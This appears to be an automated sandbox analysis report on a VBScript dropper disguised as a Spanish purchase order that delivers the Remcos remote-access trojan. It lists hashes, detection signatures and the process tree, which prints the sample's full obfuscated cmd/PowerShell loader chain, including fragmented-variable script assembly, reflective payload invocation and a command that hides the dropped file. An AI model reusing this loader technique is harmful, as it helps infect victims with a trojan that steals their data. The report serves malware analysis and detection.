Analysis
- max time kernel
149s - max time network
140s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
23/09/2026, 19:34
Static task
static1
Behavioral task
behavioral1
Sample
Orden de compra_009373.vbs
Resource
win10v2004-20260911-en
11 signatures
150 seconds
Behavioral task
behavioral2
Sample
Orden de compra_009373.vbs
Resource
win11ltsc2024-20260911-en
15 signatures
150 seconds
General
- Target Orden de compra_009373.vbs
- Size 1.1MB
- Sample260923-x94dqsbb47
- SHA256 97b0e0a6af838ab3954ae22ffd5239e7b0712be6e4d585aa2ec74df1f2e1c34b
- MD5 ee3e4d98016b98820877db6601d441ed
- SHA1 d03831e4be90b60c1d0f4cde6e0cf972e6f2abd1
- SHA512 1aea6d311c3a221109259794201184fddca7f3ea4c862c0d16c0a0e1f9c42bb37cde48aa390614017d6b61e0f607cd820f82e507e98d6449f028a5e4aedccda3
- SSDEEP 24576:/hC7EZRiL9UDHaOXuPqEpc9XSySSIaVOtatWZmIeACw6X3AL/43:/9/tEpMXSyrk6TnXn
- TLSH T12A3523D022109DE34B58D3FA6387B76C22A6CAC58DC9901E9394D27B077DB63562B07F
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Suricata alert: REMCOS RAT Malware Inbound C2 Communication 7 IoCs
Network activity triggered a Suricata alert
flow pid Process 8 1848 choice.exe 8 1848 choice.exe 8 1848 choice.exe 8 1848 choice.exe 8 1848 choice.exe 8 1848 choice.exe 8 1848 choice.exe - Suricata alert: REMCOS RAT Malware Outbound C2 Communication 9 IoCs
Network activity triggered a Suricata alert
flow pid Process 9 1848 choice.exe 9 1848 choice.exe 8 1848 choice.exe 8 1848 choice.exe 8 1848 choice.exe 8 1848 choice.exe 8 1848 choice.exe 8 1848 choice.exe 8 1848 choice.exe - Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook choice.exe Key enumerated \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook choice.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 4956 WScript.exe - Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
pid Process 3164 cmd.exe -
pid Process 2624 powershell.exe 1896 powershell.exe 1140 powershell.exe 5404 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2848 cmd.exe 3796 cmd.exe 4524 cmd.exe - Suspicious behavior: EnumeratesProcesses 20 IoCs
pid Process 5404 powershell.exe 5404 powershell.exe 2624 powershell.exe 1896 powershell.exe 1896 powershell.exe 2624 powershell.exe 1140 powershell.exe 1140 powershell.exe 1140 powershell.exe 1140 powershell.exe 1140 powershell.exe 1140 powershell.exe 1140 powershell.exe 1140 powershell.exe 1140 powershell.exe 1140 powershell.exe 1140 powershell.exe 1140 powershell.exe 1140 powershell.exe 1140 powershell.exe - Suspicious behavior: MapViewOfSection 1 TTPs 2 IoCs
pid Process 1140 powershell.exe 1140 powershell.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 5404 powershell.exe Token: SeDebugPrivilege 2624 powershell.exe Token: SeDebugPrivilege 1896 powershell.exe Token: SeDebugPrivilege 1140 powershell.exe - Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 4956 wrote to memory of 2848 4956 WScript.exe 89 PID 2848 wrote to memory of 5404 2848 cmd.exe 91 PID 4956 wrote to memory of 3796 4956 WScript.exe 92 PID 3796 wrote to memory of 4524 3796 cmd.exe 94 PID 4524 wrote to memory of 5780 4524 cmd.exe 95 PID 3796 wrote to memory of 1896 3796 cmd.exe 96 PID 3796 wrote to memory of 2624 3796 cmd.exe 97 PID 2624 wrote to memory of 1140 2624 powershell.exe 98 PID 4956 wrote to memory of 3164 4956 WScript.exe 100 PID 3164 wrote to memory of 2928 3164 cmd.exe 102 PID 1140 wrote to memory of 1848 1140 powershell.exe 104 - Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2928 attrib.exe - outlook_office_path 1 IoCs
description ioc Process Key enumerated \REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook choice.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Orden de compra_009373.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4956 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /v:on /c set "A001=$p=["&& set "A002=char"&& set "A003=]39+"&& set "A004=[cha"&& set "A005=r]32"&& set "A006=+$ar"&& set "A007=gs[0"&& set "A008=];$r"&& set "A009==$en"&& set "A010=v:NJ"&& set "A011=NBLP"&& set "A012=PQ;$"&& set "A013=f=$a"&& set "A014=rgs["&& set "A015=1];$"&& set "A016=s=$a"&& set "A017=rgs["&& set "A018=2];$"&& set "A019=rl=$"&& set "A020=args"&& set "A021=[3]+"&& set "A022=$arg"&& set "A023=s[4]"&& set "A024=+$ar"&& set "A025=gs[5"&& set "A026=];$w"&& set "A027=l=$a"&& set "A028=rgs["&& set "A029=6]+$"&& set "A030=args"&& set "A031=[4]+"&& set "A032=$arg"&& set "A033=s[5]"&& set "A034=;$tf"&& set "A035==$ar"&& set "A036=gs[7"&& set "A037=]+$a"&& set "A038=rgs["&& set "A039=8]+$"&& set "A040=args"&& set "A041=[9];"&& set "A042=$t=0"&& set "A043=;whi"&& set "A044=le($"&& set "A045=t-lt"&& set "A046=8){$"&& set "A047=t++;"&& set "A048=$a=$"&& set "A049=null"&& set "A050=;try"&& set "A051={$ra"&& set "A052=w=(["&& set "A053=type"&& set "A054=]$tf"&& set "A055=).Ge"&& set "A056=tMet"&& set "A057=hod("&& set "A058=$rl,"&& set "A059=[typ"&& set "A060=e[]]"&& set "A061=@([s"&& set "A062=trin"&& set "A063=g]))"&& set "A064=.Inv"&& set "A065=oke("&& set "A066=$nul"&& set "A067=l,@("&& set "A068=$r))"&& set "A069=;$a="&& set "A070=fore"&& set "A071=ach("&& set "A072=$l i"&& set "A073=n $r"&& set "A074=aw){"&& set "A075=$i=$"&& set "A076=l.In"&& set "A077=dexO"&& set "A078=f($p"&& set "A079=);if"&& set "A080=($i-"&& set "A081=ge 0"&& set "A082=){$l"&& set "A083=.Sub"&& set "A084=stri"&& set "A085=ng($"&& set "A086=i+$p"&& set "A087=.Len"&& set "A088=gth)"&& set "A089=-spl"&& set "A090=it$s"&& set "A091=}}}c"&& set "A092=atch"&& set "A093={};i"&& set "A094=f($a"&& set "A095=){(["&& set "A096=type"&& set "A097=]$tf"&& set "A098=).Ge"&& set "A099=tMet"&& set "A100=hod("&& set "A101=$wl,"&& set "A102=[typ"&& set "A103=e[]]"&& set "A104=@([s"&& set "A105=trin"&& set "A106=g],["&& set "A107=stri"&& set "A108=ng[]"&& set "A109=]))."&& set "A110=Invo"&& set "A111=ke($"&& set "A112=null"&& set "A113=,@($"&& set "A114=f,[s"&& set "A115=trin"&& set "A116=g[]]"&& set "A117=@($a"&& set "A118=)));"&& set "A119=brea"&& set "A120=k};S"&& set "A121=tart"&& set "A122=-Sle"&& set "A123=ep -"&& set "A124=Mill"&& set "A125=isec"&& set "A126=onds"&& set "A127= 400"&& set "A128=}"&& set "NJNBLPPQ=C:\Users\Admin\AppData\Local\Temp\Orden de compra_009373.vbs"&& set "ZUOZB=!A001!!A002!!A003!!A004!!A005!!A006!!A007!!A008!!A009!!A010!!A011!!A012!!A013!!A014!!A015!!A016!!A017!!A018!!A019!!A020!!A021!!A022!!A023!!A024!!A025!!A026!!A027!!A028!!A029!!A030!!A031!!A032!!A033!!A034!!A035!!A036!!A037!!A038!!A039!!A040!!A041!!A042!!A043!!A044!!A045!!A046!!A047!!A048!!A049!!A050!!A051!!A052!!A053!!A054!!A055!!A056!!A057!!A058!!A059!!A060!!A061!!A062!!A063!!A064!!A065!!A066!!A067!!A068!!A069!!A070!!A071!!A072!!A073!!A074!!A075!!A076!!A077!!A078!!A079!!A080!!A081!!A082!!A083!!A084!!A085!!A086!!A087!!A088!!A089!!A090!!A091!!A092!!A093!!A094!!A095!!A096!!A097!!A098!!A099!!A100!!A101!!A102!!A103!!A104!!A105!!A106!!A107!!A108!!A109!!A110!!A111!!A112!!A113!!A114!!A115!!A116!!A117!!A118!!A119!!A120!!A121!!A122!!A123!!A124!!A125!!A126!!A127!!A128!"&& "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:ZUOZB))" "WPERQUDRU" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\741087410858.cmd" "QZEYERXZCG" "Read" "All" "Lines" "Write" "System" ".IO." "File"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2848 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:ZUOZB))" "WPERQUDRU" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\741087410858.cmd" "QZEYERXZCG" "Read" "All" "Lines" "Write" "System" ".IO." "File"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5404
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\741087410858.cmd"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3796 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c findstr /c:"&rem OEEAMGOJJGY" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\741087410858.cmd"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4524 -
C:\Windows\system32\findstr.exefindstr /c:"&rem OEEAMGOJJGY" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\741087410858.cmd"4⤵PID:5780
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:YPOQNBDO));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:PENYZYXXOEV))"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1896
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:YPOQNBDO));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:PENYZYXXOEV))"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2624 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:YPOQNBDO));&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:PENYZYXXOEV))"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1140 -
C:\Windows\system32\choice.exe"C:\Windows\system32\choice.exe"5⤵
- Suricata alert: REMCOS RAT Malware Inbound C2 Communication
- Suricata alert: REMCOS RAT Malware Outbound C2 Communication
- Accesses Microsoft Outlook profiles
- outlook_office_path
PID:1848
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\741087410858.cmd"2⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:3164 -
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\741087410858.cmd"3⤵
- Views/modifies file attributes
PID:2928
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\ProgramData\folder\logs.dat
- Size 102B
- SHA256 a8e19947d615ac77b8e8272b5dd8c50df36488f5fd41a44b2f584c24efd8ad38
- MD5 9c4ac3606500c48acccbfee006afe88a
- SHA1 8dd52228bc544e7369481cc43e517c5f56d78a87
- SHA512 8e211972d2f202c2498e6c720cde6c742e15ee04ab15be1577271e9407c04cefddb1a3e1ec1f3d086c979b5738bce993ccdca26420f834346f65a44f192853f5
- TLSH T136B0125C2BF11066B450E32B58F3001769B07E51003D8C0C31E1038C0870B043040793
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\741087410858.cmd
- Size 1.1MB
- SHA256 c6d905ebd6cf21140205449eadf227f58ce1097117c793bead9701d8dad31cb3
- MD5 59994b1e2ed14848fe935f4fa33c836d
- SHA1 35b7bb6b9a4401ae3f749d61cb5d6989fbc12e6c
- SHA512 09b4d9bc80f47dcd289fb2f44185dad6355f81f716387c270cf3ec91edb668d6eb52ebabaf390953983608c146ea3e30b537b8c76ac6612e5d04d81c29ab30e2
- SSDEEP 24576:iR9MKD4974YvHLJ0u9PEp4Yf8BCfQxh0VVdT8908AXzH73AkQ4b:iPKPEp5f8B4bqSb7D
- TLSH T1093523603150EDF34BFCE3A56242B62D23B5CED9CB81A49E53A0D1B3076C7B3952B1A5
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 952B
- SHA256 1321a719825d2d8d2d9135e551e460635bdfeb75be0927c3df7bfb87c450b575
- MD5 7e77eb6f40342772dc4bcf96f554af0f
- SHA1 744fbbf1d38f6c69236842d3cc06e4136a197df7
- SHA512 a839aed2c316ecda5423bb46e63af0b83cadf6af07467a765d2bf7ae99e458280535dbdc380b053d6c6c5c3452ff26c2e4f6946045530e0e3ee169643e78c212
- TLSH T1F7116633F3CC8624DC59403650CEAD1137B687CB40DEDE6B7B84D155B82F689DE60260
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 fa606866043197f75de4426de51670f2291a94433384efe403e0026db4429a69
- MD5 18a431e2bf1c7189baadfb9c408f62eb
- SHA1 fc8e72f7c9ebcd482cc8d2c04b8bc8f606123c2d
- SHA512 92552b76e6c27c94d721cd140e671db8bd23fbfc1085e099225c52eb8279a4ba90325ec9406f077c13a187e296745d880aec5c42e4b894b7dddf6d64aced536a
- TLSH T175218933B3DC8614CC8A403A10CEAC1036B687DB809ECFABBB84D544B42F699DE60260
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gboqry35.gvd.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\handoff_dbg_1140_e59eebb.txt
- Size 612B
- SHA256 6dd042c9f0259469041bbbfb74b5a30f5e1ec8bfedd51eff7d82f69be3701aa4
- MD5 0af9dd69f947cb38af85a4d0ce042e20
- SHA1 c156805ad26bba17cb0a53217e92a2d6ada2f4c1
- SHA512 de86dfff750af6e9b4d88b4dcc1d077a7699292b84051f12f5bab47936ed5215e26bc767b7cbb46a7aa6b00578d8b511144d0d15ad14ba3d69d4acc5ac52eaf0
- TLSH T1B8F0F87C88D948CFFCC22419F617FAA536A0B143B7E6C45FB7EC526430898726B48570
- MD5 SHA1 SHA512 TLSH